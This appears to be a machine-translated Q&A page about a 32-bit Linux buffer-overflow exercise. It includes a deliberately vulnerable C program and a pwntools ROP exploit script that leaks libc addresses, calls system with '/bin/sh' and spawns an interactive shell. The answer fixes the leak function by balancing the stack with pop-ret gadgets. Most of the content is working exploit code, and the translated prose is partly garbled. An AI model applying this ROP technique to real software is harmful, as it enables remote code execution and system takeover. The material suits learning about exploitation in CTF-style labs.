2016-01-15 16 views
0
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 

void vulnerable_function() { 
    char buf[128]; 
    read(STDIN_FILENO, buf, 256); 
} 

int main(int argc, char** argv) { 
    vulnerable_function(); 
    write(STDOUT_FILENO, "Hello, World\n", 13); 
} 

平台:gcc版本4.8.4的Linux 4.2.0-18 64 complie:GCC -m32 -fno堆栈保护器的测试。 c -o level2使用pwntools。为什么这个额外的和(似乎irrelavent)线可以改变我的ROP结果

from pwn import * 

elf=ELF('./level2') 
plt_write=elf.symbols['write'] 
plt_read=elf.symbols['read'] 
vulfun_addr=0x804844d 

def leak(address): 
    payload1='a'*140+p32(plt_write)+p32(vulfun_addr)+p32(1)+p32(address)+p32(4) 
    p.send(payload1) 
    data=p.recv(4) 
    print "%#x => %s" % (address, (data or '').encode('hex')) 
    return data 

p=process('./level2') 

d=DynELF(leak,elf=ELF('./level2')) 

system_addr=d.lookup('system','libc') 
print "system_addr=" + hex(system_addr) 
scanf=d.lookup('scanf','libc')#????????????if I add this line, rop success. 
print "scanf_addr=" + hex(scanf) 

bss_addr=0x804a024 
pppr=0x0804850d 

payload2='a'*140+p32(plt_read)+p32(pppr)+p32(0)+p32(bss_addr)+p32(8) 

payload2+=p32(system_addr)+p32(vulfun_addr)+p32(bss_addr) 

print "\n###sending payload2 ...###" 
p.send(payload2) 
p.send('/bin/sh\0') 

p.interactive() 

我真的不明白为什么那条线可以把它变成成功。如果我删除它,目标将在read()处等待(它没有从p.send('/ bin/sh \ 0')获取字符串),然后用代码-11退出。除此之外,一切都很顺利。

也许是关于缓冲区刷新?

回答

0

这是因为你的泄漏功能覆盖堆栈上太多的字节。这个泄漏操作似乎破坏了环境变量。所以系统函数中的do_system进程无法正常工作。

请注意,使用泄漏功能时平衡堆叠非常重要。

这将解决你的问题:

def leak(address): 
    payload = 'A'*140 + p32(pr) + p32(0) + p32(pr) + p32(0) + p32(plt_write) + p32(main_address) #using two "pop | ret" gadget to balance the stack 
    payload += p32(1) + p32(address) +p32(4) 
    p.send(payload) 
    data = p.recv(4) 
    print "%#x => %s" % (address, (data or '').encode('hex')) 
    return data 

两个“流行| RET” gadgat做出$ ESP + 16,你可以看到在堆栈中的BUF的地址不会发生任何变化之后每一次泄漏操作。

相关问题